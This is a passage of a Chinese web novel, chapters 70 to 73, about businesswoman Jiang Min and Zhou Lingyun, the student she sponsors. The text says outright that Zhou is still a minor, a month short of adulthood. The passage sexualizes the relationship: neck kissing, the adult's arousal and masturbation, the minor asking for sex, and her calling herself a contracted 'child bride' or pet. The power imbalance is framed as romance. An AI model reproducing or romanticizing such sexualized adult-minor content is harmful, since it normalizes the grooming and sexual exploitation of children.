“只是亲一下就……” 后面的话被一个意味深长的停顿取代,她眼神意有所指扫过姜悯下半身。 姜悯瞬间破功,镜里笑弯了腰。 眼底晶芒闪烁,被话题带偏,她出了神,手掌不自觉摩挲着衣领处那小块细腻的皮肤。 舒颖屈膝,腿轻轻碰了下她,“想什么一脸淫相。” 姜悯握拳抵唇,藏笑,“偷偷告诉你,其实我有做梦。” 舒颖毫不意外,挑眉,“春梦是吧,什么内容,我听听。” “哈哈哈哈……”姜悯又把自己说害羞,镜前东倒西歪。 “欸——”舒颖胳膊肘捅,示意姜悯看向门外。 姜悯笑意未收,疑惑转身。 周灵蕴垂着手面无表情站在那。 眼底笑意尽散,姜悯扭头继续抹脸。 她还在为昨晚的事生气,虽然并没有什么具体好气的点。另外一半原因,或许是此刻被撞破的羞耻心作祟。 若是往常,周灵蕴会自觉走开,给姜悯留出空间,像从前很多次在公司那样,自己安静坐在沙发边写作业,等她会议结束。 但现在不是在公司,姜悯也不是在工作。 她在跟别人调情,笑得花枝乱颤。 周灵蕴像学校门口那几颗大石球一样,定定杵在那,一动不动,目光沉甸甸,盯着镜子里的姜悯,也盯着她身后那个碍眼的女人。 那目光如有实质,长久胶着在后背,姜悯略感到不自在。 后背好像被她眼神烧出个大洞,心脏暴露,每一次不规律的跳动都被她收入眼底。 精华瓶放入镜柜,姜悯合拢镜柜门,深吸一口气,转身朝周灵蕴走去。 “你怎么回来了?今天没课吗?” 她尽量让自己的声音听起来平和自然。 “我课程表有发给你。”周灵蕴道。 所以姜悯是完全没看,还是忘记?看眼前这情形,后者的可能性显然更高。 不然怎么敢把外面的野女人带到家里来?还被她抓个正着。 “哦。”姜悯态度冷冷,“我忘了。” 她快速朝后摆了下手,言语动作似乎极为不耐,“我朋友,舒颖,专门来看我的。” “见识过了。” 周灵蕴朝姜悯肩后瞥了眼,敛目,注意力重新回到她身上,“她来看你是什么意思,你不舒服吗?生病了吗?” “你觉得呢?”姜悯终于知道问题所在,她跟舒颖说话时候挺正常的,一到周灵蕴就忍不住阴阳怪气。 过高的需求和期待,也导致了过量的失望和落差。 姜悯忽感到一阵深切的困惑。 如果这就是爱,除了情绪起起伏伏的煎熬折磨,还剩下什么?爱有何用。 姜悯不再看她,径直回房吹头发。 周灵蕴立即抬脚,小尾巴似紧紧跟上。她不知道的情况就算了,此刻眼皮子底下,怎能容忍那个满嘴跑火车的野女人与老板共处? 野女人很有本领,两三句话,逗得老板摇摇晃晃落英缤纷的。 “你跟进来干嘛……”姜悯话没讲完,风筒脱手,下一秒,肩膀被一股不容抗拒的力道按坐在梳妆台前的软凳。 将她湿软的长发抓拢在手心,周灵蕴语气不容置喙。 “我帮你吹。” 三个人的房间还是太过拥挤,风筒噪声乱耳,舒颖识趣挪去客厅。 周灵蕴原来是这种德行。 姜悯原以为她会躲在房间生闷气,没想到竟然是激进派,又争又抢的。 怎么回事,有点爽。 姜悯镜里偷瞄,她手臂沉稳起落,发丝间温柔的拉扯感伴随着热风,叫人沉醉。 头发吹到七八成干,周灵蕴放下风筒,镜柜里翻出个玻璃小瓶,护发精油在手心搓热,随后细致涂抹在姜悯发梢。 她微俯身,嘴唇几乎贴在姜悯耳廓,用只有两人能听到的气声,“你让那人走。” 语气带着点委屈的控诉, “我给你发了课程表,你自己不看。我今天下午没课肯定要回来啊,我还买了菜。” “阿颖她是客人。”姜悯心头一软,但这样赶人实在过分,她不至于重色轻友到这种地步。 “她欺负我。”周灵蕴声音压得更低,小孩找大人告状的语气。 “刚才她拿手搭在我的肩膀上。” 她左肩同时扭来姜悯面前,手指着,“就这块,她还摸我耳朵!” 姜悯惊讶侧首,“不应该吧?” 舒颖虽然嘴贱,分寸感还是有的,“她逗你玩。” “骗你我吃屎!”周灵蕴表情超认真。甚至举起三根手指作发誓状,眼神无比坚定。 “说不定看上我了,见我长得年轻好看。” 姜悯哭笑不得。五分钟后,她说服周灵蕴去厨房备菜,把舒颖喊到房间。 “情况嘛就是这么个情况,你也看到了。” “过河拆桥呗。”舒颖合上杂志,了然道。 姜悯知道这话有点没良心,“非常感激,你是我的挚友,此生唯一挚友,” 她加重语气强调,“但现在情况紧急。” “给我一万块钱。”舒颖朝她伸出个巴掌。 姜悯骇然,“凭啥?” 舒颖只问你转不转? “不转我就不走,今晚跟你睡一个被窝,反正我孤家寡人,明天周六也没啥要紧事,咱们就耗着呗。” 姜悯摸出手机,解锁转账,一气呵成。 她在周灵蕴身上花了多少钱,没算过,跟舒颖倒是算得清楚明白,“那阵子住你家,确实给你带去不少麻烦,感谢招待。” 就当是还她的住宿费和伙食费。 “姜老板大气。”舒颖没想到她真转。但有钱不拿王八蛋,解锁手机领取转账。 门锁“咔哒”一声轻响,大佛送走。 几乎是同时,厨房门开,一颗小脑袋从门缝里探进来,贼眼滴溜乱转,确认敌军已撤退,才放心大胆推门走出。 “满意了?”姜悯如释重负摔坐进沙发,舒展四肢,心情大好。 姜悯没想到舒颖会来,感激朋友对她的关心关怀,但今天情况确实有点乱,送舒颖出门时她再三致歉。 舒颖大气,没计较,当然更主要的原因是收钱了,还安慰拍拍她肩膀,说“不用谢”。 谢什么呢? 姜悯正琢磨,周灵蕴解下围裙挂在椅背,软乎乎挨蹭过来,半靠她肩头,拉着人的衣角,低低嗓喊“姐姐”。 “欸——”等等,这是干嘛。 姜悯浑身紧绷,“你不去做饭?不是说今天有大菜。” “我有件事情想跟你商量下。”周灵蕴搂着姜悯胳膊,嘟嘟嘴,食指在她大腿不停画圈。 她们之间,虽是周灵蕴主动更多一些,也许是年龄差距,姜悯至今不能适应,大脑宕机,整个呆住不动。 周灵蕴捞起姜悯一条手臂,搭在自己肩膀,揉嗲了嗓子,“求你答应我一件事情,可以吗?很小很小的一件事情。” 预感不妙。姜悯想打电话把舒颖喊回来。 “什,什么事情……” “再等一个月。”视线变得迷濛,周灵蕴手指拨开姜悯颈侧长发,亲吻那处甜美柔软的皮肤。 她呼吸好沉,热气浇淋,姜悯一下软掉。 “一个月?”有什么特别的安排吗? “嗯。”周灵蕴攥紧姜悯腰肢,脸蛋红扑扑的,“再等一个月我就成年了,我就可以伺候你了,我想跟你睡觉。” 她诚恳请求,“你不要和别人睡觉,等我。”—— 作者有话说:延迟菇狗狗祟祟到岗魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 她喜欢她,仅此而已…… 周灵蕴从来没有忘记过她的使命。 姜大炮总司令的“小童养媳”, 生来就是为伺候主人的。 奶奶也说了,这是老周家往上十几代祖宗齐发力,祖坟都烧冒烟才求来的福气。 “啥叫逆天改命, 这就是逆天改命。” “滴水之恩,当涌泉相报。” “使命必达。” …… 周灵蕴嘴里叽叽咕咕, 没完没了, 不停用头蹭,毛乎乎的发顶拱在颈窝, 姜悯身体整个陷落在沙发一角,感觉脸僵僵。 嘴快笑烂了。 “封建思想,害人不浅。” 仰头躲避,也把更多要害暴露给她, 微凉的发丝钻进领口,姜悯两条手臂虚虚环抱着她,承受着小猫无与伦比的热情。 “好香——”周灵蕴鼻尖贴在姜悯耳后偏下那一小块皮肤,不停嗅来嗅去。 “什么味道?”姜悯好奇。她只能闻到沐浴露、护发精油,面部精华和身体乳等普通的人造香精味道。 但周灵蕴的表现, 好像她是块肥瘦均匀的唐僧肉。 “你的体香。”周灵蕴闭上双眼, 仔细感受并试图通过语言描述。 “像一朵干花, 有独属于植物的微苦的本味和花朵的馥郁芬芳。而且, 你是一朵放在老檀木柜子里的花……” 被妥善收藏着,经岁月赋能,另沾染上一种厚重温暖的木香。 “我第一次见你就闻到了, 你生气的时候气味要冷一些,你高兴的时候,则是暖的。” 周灵蕴表情沉醉,“非常非常好闻, 我隔老远就能闻到。” 包括她穿过的衣服,她躺过的枕头,甚至只是她束发的发圈。 周灵蕴有在杂志上看过到有关于这方面的科学解释。 “费洛蒙感知的生理机制,是犁鼻器、杏仁核、多巴胺,还有大脑的独特解读的共同作用。” 姜悯听得稀里糊涂的,“什么跟什么啊。” 果然不是当年那个嘟着小嘴,只会站门口冲她勾手指的苦哈哈乡下妞了。 “还学会掉书袋。” “简而言之,就是你非常喜欢一个人,就会在她身上闻到一种强烈的特别的味道。” 铺垫了半天,重点其实只有这一句。周灵蕴睁开眼睛,坏心用睫毛扫她的耳垂。 “啊?是吗?”她好会,描述大大满足人的虚荣心,叫人着迷。 姜悯扯来睡衣袖子,说“没有啊”,又低头掀起衣领,半张脸埋入,深吸气。 “也没有啊。” “久居兰室而不闻其香。”周灵蕴道。 “嗷,这样……”姜悯暗喜,那应该是吧。 “你呢?”周灵蕴抬头,眼底熠动起晶亮的期待,“你有闻到吗?我是什么味道。” 姜悯还真有闻到她的气味,思索几秒,“像松林里一棵茂盛的野茶树,有雨后松林的那种湿润的青苔的味道,混合着淡淡茶香。” 不知这种描述,能否回馈到她,“至于冷热变化,大概就是夏天和冬天的区别。” 但周灵蕴很少有冷冽冷漠的时刻。她是夏日的骄阳和骤雨,情感炙热浓烈。 “那说明你也很喜欢我喽?”终于诱导她来到重要环节,周灵蕴两只眼睛笑眯了。 姜悯下意识要说“不”,心中将要升起的防备的吊桥,某个零部件却锈钝,卡住。 也许是因为周灵蕴刚才的请求。 周灵蕴提醒她了。 只有一个月时间了,她们之间或许可以发生些什么。 姜悯看到了一种,她渴望已久的可能。 来自身体和心灵的双重渴望。 她知道很不应该,那太卑鄙了,可情爱的冲动却大过理智,更何况,那条需严格恪守的道德底线在每一次日出之后,都会被太阳晒淡一点。 很快,会彻底消失,届时将毫无顾忌。 姜悯完全可以预想到那种疯狂。 她忍不住打了个颤,只是想想就快要不行。 “你抖了下。”周灵蕴敏锐察觉到她的身体变化,隔着布料单薄的睡衣,某处凸起明显。 呼吸一下变得乱糟糟,姜悯抽出双手,把周灵蕴往外推了推,“还不去做饭。” “不。”周灵蕴左右摇头,“不想放开你。” 啊? 啊—— 她好黏我,好喜欢我。 姜悯忍不住笑,轻颤带动起趴卧在她身上的周灵蕴。 周灵蕴抬头,“你笑什么。” 整个人像泡在蜜罐,要甜晕了,姜悯手掌盖住嘴唇,眼睛弯成两道月牙。 她话音也带着浓烈的笑意,破罐破摔,“想笑就笑。” “我回来你是不是很开心?”周灵蕴猜想应该是这个缘故。 “当然。”姜悯点头,但这只是部分原因。 她不忍回顾,前一晚,电话里的自己有多崩溃疯狂。 发疯就在一瞬间,痊愈也是。 只要周灵蕴回到身边,黏黏糊糊,依旧对她表现出亲昵和依赖。 周灵蕴撩起眼皮,窥察姜悯此刻状态,感觉差不多了,开始对她提要求。 “可以亲一下吗?” 笑意收敛,姜悯微微睁大眼睛。 要听实话吗?其实不应该问,想亲你直接把嘴凑上来不就好了。 干嘛把这个难题丢给她。 嗯,实话就是想亲。 “不能。”姜悯却只能如此回答。 周灵蕴似乎看穿她面具之下两团粉红的苹果肌,“如果我非要呢?” 姜悯把脸转到一边,埋进软枕,笑意躲藏。 因为周灵蕴老亲她脖子,她大概也知道自己脖子很好看,线条拉长,心机展示。 如小猫的自动喂食机,闻弦歌而知雅意,周灵蕴埋首覆上。 姜悯以为可以亲到嘴唇的,但周灵蕴像有意收敛,把大菜留到除夕夜,克制起身,最后一吻落在她唇角,力道清浅。 她没有什么花里胡哨的亲吻技巧,仅仅是呼吸就让姜悯整个人变得热烘烘,软绵绵。 “我去煮饭,给你吃。”意犹未尽舔唇,周灵蕴稳重收拳。 姜悯点头,扯开沙发上薄毯盖住扭成活蛆的自己。 她手掌伸进衣下摆,摸到自己很烫,想象有那样一双手,游走在皮肤…… 等等。 打住。 姜悯闭眼,深呼吸,手掌收回。 不过周灵蕴今天反应确实有点奇怪。 姜悯给舒颖发消息,问她下午离开前跟周灵蕴都说了什么。 [小孩反应好奇怪。] [几句骚话。] 舒颖回复。 [多骚?] 认识有阵子,姜悯大概清楚她德行。确实不是什么好玩意,但也不至于太坏。 舒颖简单叙述。 [不用谢。] [助你一臂之力。] 姜悯眯眼思索一阵。 [真这么好心?] [其实是没安好心。] [帮助加快进程,然后坐等你们闹翻。] 舒颖发来一个面带红晕微笑表情。 她好坏啊。 [怪不得。] 姜悯不甘示弱。 [怪不得现在一个人?] [还是被人甩。] [人财两空。] [对啊,活该。] 舒颖回。 姜悯猜想,是不是勾起她伤心事。 [谢谢你今天来看我。] [周一聚聚?我请你吃饭。] 舒颖应好,姜悯感觉她情绪有些低落,想再说点什么,周灵蕴从厨房跑出来,手托着,夹了箸凉拌鸡丝喂到她嘴边。 姜悯丢开手机,张大嘴接。人类的悲喜并不相通,她很快把舒颖忘去一边。 昨晚确实有些失态,为找回面子,姜悯胡扯说姨妈期快到,正常情绪起伏。 周灵蕴开始正式回应她的需求。 “我不会喜欢上别人的,学校里的女孩子长得再漂亮再年轻我也不喜欢。” “哦。”姜悯努力装作满不在乎,却忍不住嘴角笑意浮现,只能飞快往嘴巴里塞了块蛋黄鸡翅。 几秒后,又开始找茬,“那你喜欢谁?” “喜欢你。”周灵蕴坦坦荡荡。 她说过很多次,仍不厌其烦,“我是你的小童养媳啊,我是你的人,从你把我带到这套房子里开始。而且我们签了合同的,我的身份是受到法律保护的。” 鸡翅外皮喷香,内里柔嫩,丝毫没有肉类的腥膻气,姜悯飞快解决掉一只,接过周灵蕴递来的纸巾,“所以刚才干嘛强调‘年轻漂亮’,学校里的女孩子年轻漂亮,我年老色衰,是吗?” “你有危机感啊?”周灵蕴鬼精灵的。 姜悯又抓来翅尖,好吃,爱吃,“搞笑,我也不少人追的,成熟稳重还多金的,你没有危机感吗?小屁孩。” 话题好暧昧。 “我们是情侣吗?”周灵蕴跃跃欲试。 “并没有!”姜悯大声。 周灵蕴有点失落,幸好早就习以为常,立马重振旗鼓,“那是什么关系。” “资助与被资助人。”姜悯回答官方。 “也是老板与奴隶,主人跟宠物,大炮和标兵。”周灵蕴补充道。 前面两个组合姜悯可以理解,“大炮和标兵是什么意思?” 大炮是周灵蕴给她起的外号,标兵呢? “因为炮兵怕把标兵碰。”周灵蕴信口胡说的,脑子也是转得真快。 姜悯无言几秒,白眼翻上天,“什么破梗。” 周灵蕴是有正事要跟她说的,“所以你也不可以喜欢别人,尤其是你今天带回家那个老阿姨,她素质好低。我不同意。” 姜悯笑得前仰后合。 她后悔没把这段录下来,保存音频给舒颖发过去。 周灵蕴承认,老阿姨的出现确实有刺激到她,惹她占有欲爆棚,内心焦躁至极,又厌烦至极。 她等不到成年正式告白的那一天了,好怕姜悯被坏人拐跑。 “你担心我在学校喜欢上别的女孩子,我又何尝不是?我在学校,我们没办法在一起,像你的包包挂件一样随时随地看着你,我也很害怕。” 饭桌边,周灵蕴低头给姜悯剥虾,很平静说着这些话。 她想,既然姜悯那么胆小,那她就大胆一些好了。 什么替身不替身的,暂时丢去一边,也别管她们相差多少岁,她喜欢她,仅此而已—— 作者有话说:明天要去医院复诊,可能会迟,菇尽量哦 第72章 爆炒比较火辣刺激 十月末的天气, 依旧炎热,中午日头最晒的时候,阳光穿透办公室的大落地玻璃, 桌面文件被晒得微微发烫,像是夏天的回光返照。 姜悯每日家和公司两点一线, 偶尔外出应酬或参加团建, 是以往她过惯了的日子。 日复一日,年复一年, 她在这种缓慢而朴实的生活中建立起秩序感和安全感,她几乎从不觉乏味。 骨子里,她其实是个挺害怕变动的人。 周灵蕴刚住进学校那阵,她很不能适应, 尽管过去她们并不是每晚都睡在一起。 忙起来的时候,她们整个晚上可能一句话也说不上,但这期间,姜悯只听见周灵蕴开关卫生间门,冲水洗手的声音就很满足。 她的存在就是最大的意义。 姜悯在后来时常回想起那个极度焦虑又恐惧的夜晚, 她以为她要永远失去周灵蕴了。 她几乎一夜没睡, 被脑袋里可怕的想象折磨到近乎崩溃, 却无人讲述。 在害怕什么?姜悯没法讲。 她喜欢的人, 是比自己小了整整十岁的未成年少女。 少女纯真而炙热的情感像块烧红的炭,她赤手空拳接不住,偏又贪, 眼馋肚饿,聚敛无厌。 姜悯想过算了,可周灵蕴太好了。 周灵蕴从不放任她任何微妙的情绪变化,永远耐性十足, 通情达理,体贴入微,无论发生什么都会第一时间赶回她身边,坚定告诉她——我是你的人,我会永远陪在你身边。 洗漱完回房,姜悯掀开被子躺到床上,手机恰巧弹出视频通话请求。 不自觉嘴角上扬,她调整好姿势后接起,保证镜头里的自己脸蛋完美,姿态优雅。 相比之下,周灵蕴松弛得多,镜头怼脸,光线也模糊不清。 “在哪儿呢?”姜悯半天没看出名堂。 周灵蕴把手机拿远些,向她展示,“我在学校足球场,正溜达呢。” 那次回去以后,周灵蕴每天晚上都给姜悯打视频,汇报日常,场景大多选择在幽静的人工湖畔或足球场。 “干嘛不在宿舍?”姜悯找茬一流,“觉得我见不得人啊。” 周灵蕴早习惯她的刻薄,没生气,只觉得好笑,顺着她话说“对啊”。 “对什么对!”姜悯瞪圆眼睛,就要发火。 “姐姐太好看了,我不想让她们看见。”周灵蕴并非搪塞,“真的。” “看见又怎么样?”姜悯不接受这个解释。 周灵蕴低头笑,做贼似扭头四处看看,然后清清嗓子,“主要人多确实不方便。” 姜悯凶相不减,“哪里不方便?” “不方便说骚话。”周灵蕴早有预谋,给她丢炸弹。 姜悯怔愣两秒,下一刻,脸爆红,“什,什么骚话?” 她万万没想到,周灵蕴搁这儿等她。 “想亲你。”周灵蕴抿了一下嘴唇,“一看到你的脸,就心痒痒,想亲。” 她说完也不好意思起来,长出一口气,踮脚活动几下,开始跑,镜头乱晃。 姜悯手机拿得特别近,屏幕框住在她自认为角度最完美的左边脸蛋,心跳狂乱,手臂却稳稳当当,害羞的同时不忘臭美展示,只是眼神略有些躲闪。 手机听筒呼啸风声持续大约半分钟。 周灵蕴停下脚步,摄像头重新对转脸,盯几秒又躲开,手臂盖住自己快要起飞的嘴角。 “有毛病吧,胡言乱语些什么?”姜悯关闭头顶大灯开关,避免暴露脸红。 “装吧你就。”周灵蕴在球场边找了块平整的草地休息,下巴枕在膝盖,一瞬不瞬盯着手机里的姜悯,“其实可享受了。” “享受啥?”姜悯翘起下巴,皱皱鼻子,做怪表情。 怎么感觉就跟她谈上了,像情侣间才会做的事。 周灵蕴眼睛亮亮地看着姜悯,发现打视频时候的姜悯,为臭美,无论她说什么做什么都不会躲。 她好喜欢这样看着她。 那眼底浓烈的爱意和欣赏叫人难以忽略,姜悯承认自己虚荣心得到极大满足。 谁会拒绝被爱呢? “说话!”姜悯催促。 “问你自己。”周灵蕴说。 姜悯假装不懂,“我行得端坐得直。” “你就扯吧。”周灵蕴学她白眼,“少在那自欺欺人了,我是懒得揭穿你。” “那你说啊!”姜悯不服。 睫毛扑簌几下,周灵蕴垂落眼帘。 姜悯欣赏够了自己,点击屏幕切换周灵蕴大脸,瞧着那表情像在回味什么。 “说话!”搞得人心痒痒,她等不及了。 “你让我说的。”周灵蕴抬眸。 姜悯预感不妙。 “……就那天,老阿姨在家那天,后来她不是走了嘛,我亲了下你的脖子,然后你赶我,让我去厨房烧饭。” 周灵蕴再次忍不住舔唇。 姜悯想起来了!她脑袋里“轰”一声,想要制止,但已经来不及。 “我隔着厨房门玻璃,看到你手伸到衣服里面,在摸自己的胸部。” 周灵蕴最后两个字咬得很轻,却似一道开山炮,振聋发聩。 姜悯绷不住了,头朝下栽去,长发瀑布般垂落,灯下散发出柔软质感的光泽。 她双肩不住发抖,周灵蕴也用手死死捂住嘴巴,避免两颗大牙操场边路灯下太过闪耀。 “谁让你乱看!”姜悯忍不住发出一声怪叫,“让你煮饭,你偷看人家,还好意思说!” 周灵蕴天大的冤枉,“鬼知道你的!我只想想问你,虾要吃白灼还是爆炒,结果就看到你在那……” 她没办法再说第二遍,“嗯,反正是不小心看到的,我就没打扰,自行决定爆炒了。爆炒比较火辣刺激。” 什么鬼啊! 还火辣刺激。 姜悯笑够,直起腰,横指警告,“你再胡说八道试试呢?” “你再胡作非为试试呢?”周灵蕴回呛。 姜悯扯来抱枕垫在脑后,调整了个舒服的姿势,连连摇头叹气,“长大了,真是长大了,敢跟我顶嘴了。” “你才发现啊。”周灵蕴倒更喜欢姜悯放松状态,不小心挤出来的双下巴也很可爱,忍不住发出“啾啾”声响。 姜悯敏锐捕捉到,“干嘛?” “亲你。”周灵蕴直言。 姜悯双手握拳,抵在腮帮。她不要再笑了!脸快要笑烂了! “要不我们挂了吧,很晚了,快回宿舍,洗澡睡觉。” 周灵蕴“呜呜”一阵摇头,“想再看看你。” “熄灯怎么办?把你关宿舍楼下。”姜悯担心。 周灵蕴说“那正好”,“我立马打车回家。” “欸!”还真是,姜悯被她说得心痒痒。 “好想你。”周灵蕴手机凑近,噘嘴,“为什么才周三,距离周五还有两天呢,终于知道啥叫度日如年了。” 被窝里躺得热烘烘,姜悯“嗷”一声,放倒身体,床上扭动起来。 对啊对啊,怎么才周三,她也好想她啊。 周灵蕴满脸痴笑,“干啥呢。” 才意识到失态,姜悯飞快爬起坐好,一只手捏住自己两边腮帮,“倒下去显得我脸好大。” “哪里大了。”周灵蕴说。 “就是很大嘛。”姜悯举高手机,十几年前非主流少女大头贴视角,“这样显小。” 周灵蕴:“不大。” 姜悯:“明明就很大。” 周灵蕴:“真的一点也不大。” 姜悯:“就是很大,很大!” 周灵蕴:“好吧,你脸超大的。” 姜悯:“你是不是不想活了?” 周灵蕴给到的安全感是每晚超过两小时的视频通话,她白天会把课业和自己所有事情全部处理好,晚上腾出时间,校园里漫步,跟姜悯在手机里哼哼唧唧。 也没什么正事,多是些毫无营养的废话,偶尔八卦八卦同学和老师,要么就是打嘴仗,就到底谁是猪而展开激烈辩论。 姜悯从来没觉得时间过得那么慢,她们终于见面,可距离周灵蕴生日竟然还有一周时间。 公园手拉手遛弯,河水静谧,落叶金黄,骑自行车的小孩一旁呼啸而过,仰头望向天空,枝叶间白云柔软如絮。 “今年秋天不怎么冷。”姜悯回顾过去,“往年这个时候,好像开始下雨了。” 她从而得出根据,“那明年春天可能要冷上好一阵才能看到花开哦。” “花开的时候,你就来看我……”周灵蕴突然开始唱歌,广场舞经典曲目。 姜悯笑着打她一下,“去哪里看你。” “我被窝里。”周灵蕴笑嘻嘻。 姜悯讶然,“你跟谁学的,现在学得满嘴没正经。” “比你强吧。”周灵蕴斜眼睨她,“假正经。” 姜悯无法反驳,不服也只能憋着。拜托,难道是她想假正经?她是大人欸。 “都跟你一样轻浮,咱俩完蛋了。” “你也没成熟多少。”周灵蕴嘲讽的语气。 姜悯举手作势要打,却忘记了两个人的手正起紧紧牵在一处。 她另一手举着半根没吃完的烤肠,要甩脱手掌攥起拳头打人,周灵蕴察觉到她意图,骤然收紧指骨,不放。 “干嘛?!”姜悯瞪眼威胁。 “你想干嘛。”周灵蕴问。 姜悯笑盈盈,“跟小女孩身体某个部位亲密接触一下。” “这样啊——”拖长调子,周灵蕴眯眼,假装无事,目光远眺,忽然翻转她手背,飞快举高嘴唇亲吻一下。 “啵——”巨响。 姜悯惶然四顾,险些跳脚,“干嘛你!” “亲密接触一下。”周灵蕴松开她,快快跑出几步,两手背在身后,倒退着走。 发梢轻扬,她十分得意,额角光洁的皮肤日光下晶亮,脸颊是气血充足的粉红。 “咦惹——”姜悯故作嫌弃,手背在裤缝边蹭蹭。 周灵蕴当即变脸,朝她大步走来,“姜大炮你完了。”—— 作者有话说:迅疾菇到岗(挺胸抬头) 第73章 姐姐为我精心烹调自己…… 周灵蕴生日前一天, 姜悯加班到晚十点,处理好公司诸多琐事冗务,并严肃告知小助理, 非必要不打电话。 ——“我有很重要的约会。” 周灵蕴学校挺偏的,农学院更偏, 姜悯驱车来到定位地点, 怀疑自己回周灵蕴老家了,她给周灵蕴发消息。 [我看到一群鸭子!] [谁家鸭子跑你们学校来了。] 周灵蕴估计在上课, 没回。 这是姜悯第一次踏入周灵蕴学校大门,她盛装打扮,踩着小高跟校园内漫无目的闲逛,一排低矮的平房尽头拐弯, 眼前赫然出现一队黄牛! 姜悯连忙掏出手机拍照,恰巧拍到黄牛停在路边草丛拉屎,“啪嗒”一声,巨大一泡。 [我是不是走错?] [猫猫,我的猫猫呢?] [快理理我。] 姜悯顾不得是否会打扰到周灵蕴上课, 消息轰炸, 紧急求助。 周灵蕴刚下课。 [没走错, 那是我学长。] 学长? 姜悯用红笔圈出照片里穿条纹衫的老头。 [这得延毕多少年。] 周灵蕴圈出黄牛, 文字备注说“这才是我学长”,其次是后面挥鞭赶牛的条纹衫老头,“这位是老师”。 姜悯大开眼界。 周灵蕴叮嘱她。 [不要乱吃你在路边看到的任何东西。] [牛粪?] 姜悯莫名其妙。 [你才吃屎。] 周灵蕴笑得前仰后合。 姜悯后来才知道她说的是水果。 路边好些大棚和果林, 正是秋收季,果子都成熟了。 [可那些小果看起来瘦干巴的。] [还有虫咬愈合后的畸痕。] [很丑,完全没有偷吃的欲望。] 周灵蕴又是好一阵笑。 [这话可不能让学姐学长们听见。] 二人约定路尽头一棵歪脖子树下碰面,姜悯远远见一个戴草帽穿胶鞋的朴实乡下妹走近, 开始没认出来,直到对方摘下帽子,露出其下清丽面容。 “你……”姜悯惊讶万分,“你怎么这个打扮,不是在上课。” “今天下地。”周灵蕴扒拉扒拉额角汗湿的碎刘海,脸蛋热得红扑扑,“我们种油茶树,还跟着学姐收花生,顺便给小组的地浇水除草。” “花那么多钱上学,整天就学这个哇?”姜悯话虽如此,包里赶紧翻出张纸巾给她擦擦。 周灵蕴有点不好意思,“也会搞研究的。” “嗷嗷,懂,学术嘛,学术。”姜悯笑盈盈替她找补,“民以食为天,很严肃的,都是国家栋梁。” 周灵蕴提着锄头,姜悯身边默默走出一段路,忽然大吸气,“本来就是!” “本来就是!”姜悯附和,“谁说不是了。” 累虽是累些,体力活儿不少,周灵蕴挺喜欢她的专业。 下午没课了,周灵蕴回宿舍洗澡换衣服,姜悯坐她位置上等,正是午饭的点,不见其余室友,估摸是下课直接去食堂了。 姜悯有点遗憾,她今天打扮好漂亮的! 周灵蕴洗完澡湿着头发出来,姜悯正站阳台看她室友种的多肉,那叶片肥厚且绒毛丰富,形似熊掌,十分可爱。 “熊童子。”周灵蕴介绍多肉的名字。 “好可爱的名字!”姜悯当即决定,叫小助理帮她买一盆放在办公室。 “比我还可爱吗?”周灵蕴从后圈住她腰肢。 冷不丁,姜悯哆嗦一下,她发尾冰凉的水珠滴落在肩窝,更激起一阵颤粟。 “做什么,大白天的。”姜悯偏过脸,身体诚实,主动奉上嘴唇。 对面宿舍楼里的人能直接看到阳台,周灵蕴退后两步,扯拽着,手掌把控在姜悯后腰,将她按抵在阳台玻璃门后。 顾忌着场合,强压抑冲动,周灵蕴只是用冰凉的鼻尖不断磨蹭她滚烫柔软的唇瓣。 “你头发……”襟前湿热一片,姜悯呼吸急促,难以站立,在她怀中寻找支撑,手指紧紧揪扯住她腰侧衣料。 一声闷笑,周灵蕴却朝后撤了下。 潮热的鼻息远离,恰来一阵凉风,姜悯瞬间感觉心空了一大块,轻轻晃动她衣摆,“怎么走掉了。” “不可以啊——”周灵蕴眼底戏谑浓烈。 身体软绵绵,连站立都困难,姜悯羞恼捶打她,“那你干嘛突然靠近。” “你很想我亲你吗?”她的反应弄得人好急躁,周灵蕴难以忍受,虎口使力,惩罚性掐陷她腰肢。 不由一声嘤咛,姜悯彻底软倒。 真能捱,除夕夜的大菜不到点不动筷,周灵蕴一声粗重的呼吸声,脸埋进她颈窝,几乎鲁莽亲吻。 那是她身体最为脆弱致命之处,鼻尖其上游走时可以感受到血液的流速和心脏的激跃,时间地点都不对,明知不可为而为之,周灵蕴脑中烘热,噼啪闪电不绝,也抵抗得艰难。 担心有人闯入,到底没持续太久,分开半米多远,姜悯手指紧紧攥在心口,坐在板凳平复。 意犹未尽舔唇,湿漉的长发虚盖住脸,周灵蕴在桌边低头收拾书包,不时侧首瞄她。 “我去卫生间。”姜悯起身。受不了啦,她好黏。 “好。”周灵蕴在女人坐过的板凳上等,那残余的体温也叫人心乱。 五分钟后,勉强处理好自己,姜悯走出卫生间,周灵蕴也刚好吹干头发,背起书包。 “走吧,回家。”周灵蕴牵住她刚洗过冰冰凉的手。 姜悯低头“嗯”一声。 并肩而行,毫不意外,在出宿舍门的时候卡住。 周灵蕴刚从那个不能完全称之为吻的吻结束,脑子还不太清醒,她呆头呆脑,使劲儿往前挤了下,姜悯“嗷”一声,被硌痛肩膀。 “对不起对不起……”周灵蕴赶忙回头查看,手掌覆盖她肩头,轻揉。 “浑身蛮力!”姜悯打出一拳,“力气很多嘛你,不知道使在有用的地方。” 周灵蕴迷糊,“使哪里?” “你说使哪里?”姜悯没好气,“回去给我煮饭吃。” “哦,炒菜啊。”周灵蕴网上学了不少歪门邪道,“使你身上。” 姜悯扶额,低头使长发垂落,遮挡脸颊。 周灵蕴自己说完也憋不住笑,嘴角快咧到耳朵根,还不停去拽她,“笑什么,笑什么。” “你笑什么!”姜悯又羞又怒,膝头踢她。 宿舍走廊狭长,光线晦暗,周灵蕴目不转睛,瞳孔漆黑,如有漩涡,姜悯抬头与她对视两秒,扛不住,强行错开视线。 “不许笑。” “我没笑了。”周灵蕴正声。 又被她看得火热,姜悯长吸一口气,两手紧攥拳,找回些力气,理理肩头包带,选择逃跑。 她使劲跺脚,鞋跟在地砖叩出阵阵脆响。 周灵蕴忙小跑追上。 许久,姜悯坐到主驾位,打方向盘的手还在抖,周灵蕴副驾位等,起初以为她有事,半晌察觉到不对,“怎么回事?” 她捏住姜悯手腕,感受到细微的颤,顿时好笑,“什么情况啊,姐姐。” 预感到晚上可能要发生的事,姜悯提前开始紧张,偏偏周灵蕴还非凑过来开她玩笑,“继续保持好吗?到时候先让你试。” 姜悯好想把周灵蕴套麻袋里打一顿。 她故作懵懂,“试什么?” “打鸡蛋。”周灵蕴满脸坏笑,“手抖成这样用力打鸡蛋最合适,你打好我做个蛋卷肉,然后煮汤。” 她好坏!她好坏! 